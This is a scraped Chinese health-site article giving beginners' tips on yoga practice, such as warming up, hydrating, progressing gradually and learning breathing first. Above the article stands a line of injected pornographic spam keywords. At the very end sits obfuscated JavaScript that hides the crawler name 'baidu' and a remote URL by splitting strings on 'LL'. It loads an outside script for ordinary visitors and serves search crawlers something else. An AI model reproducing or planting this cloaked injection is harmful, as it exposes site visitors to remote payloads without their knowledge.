亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當(dāng)前位置:首頁 > 健康 > 運(yùn)動健身 > 正文

初學(xué)瑜伽應(yīng)注意什么事情?

2017-04-14 17:10:20  來源:360常識網(wǎng)   熱度:
導(dǎo)語:瑜伽是一項(xiàng)比較不那么激烈的運(yùn)動和養(yǎng)生的項(xiàng)目,雖然瑜伽看起來比較簡單,也比較不會吃力,但是其實(shí)在練習(xí)的過程中也會遇到一些麻煩。特別是

瑜伽是一項(xiàng)比較不那么激烈的運(yùn)動和養(yǎng)生的項(xiàng)目,雖然瑜伽看起來比較簡單,也比較不會吃力,但是其實(shí)在練習(xí)的過程中也會遇到一些麻煩。特別是對于初學(xué)者而言,學(xué)習(xí)起來還是會有一定的困難。而且還有很多需要引起注意的地方。如果了解的不清楚,在練習(xí)的時候很容易引起身體的損失。下面我們就來介紹一下初學(xué)者的注意事項(xiàng)。

首先,在練習(xí)瑜珈之前一定要做一些準(zhǔn)備活動。若不充分做好準(zhǔn)備活動,可能會引起關(guān)節(jié)韌帶拉傷、肌肉拉傷等,嚴(yán)重影響日常的生活。

其次,秋季比較干燥,人體運(yùn)動時喪失的水分會加重人體缺乏水分的反應(yīng),所以,瑜伽練習(xí)后一定要多喝開水,多吃梨、蘋果、乳類、芝麻、新鮮蔬菜等柔潤食物,或是平時多喝冰糖梨水、冬瓜湯等食物來保持上呼吸道黏膜的正常分泌,防止咽喉腫痛。

其實(shí),有沒有出汗、出汗多少,是有關(guān)于汗腺的問題,而不完全是運(yùn)動量的問題,有些人即使不運(yùn)動也可能會大量出汗。秋季練習(xí)瑜伽應(yīng)循序漸進(jìn)、切忌過猛,有不少的瑜伽練習(xí)的人覺得運(yùn)動量大身體才能練好,抵抗力強(qiáng),其實(shí)不然,運(yùn)動跟吃飯睡覺一樣,都是適度才好。。鍛煉時覺得自己的身體有些發(fā)熱,微微出汗,鍛煉后感到輕松舒適,這就是效果好的標(biāo)準(zhǔn)。

現(xiàn)在瑜伽的流行趨勢會使很多人產(chǎn)生誤解,認(rèn)為瑜伽就是柔軟,要使自己“首尾相接”,是一項(xiàng)高難度的活動。事實(shí)上,我們并不是每個人都具有舞蹈基礎(chǔ),也不是每個人都具有良好的關(guān)節(jié)靈活性和極強(qiáng)的忍耐力來承受如此“高水平的練習(xí)”。瑜伽的最終目標(biāo)是要達(dá)到身體的健康,平衡,精神的寧靜,專注,這個目標(biāo)是每一個人通過練習(xí)瑜伽可以實(shí)現(xiàn)的。

了解了上文中初學(xué)者需要注意的地方以后,我們首先要學(xué)習(xí)瑜伽的呼吸的方法,在練習(xí)瑜伽的過程中,也就是釋放壓力、靜心的過程,所以學(xué)會呼吸的方法是很重要的,然后練習(xí)瑜伽的動作可以從基本的、簡單的動作開始,不要一開始就學(xué)習(xí)高難度的動作,需要一個循序漸進(jìn)的過程。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}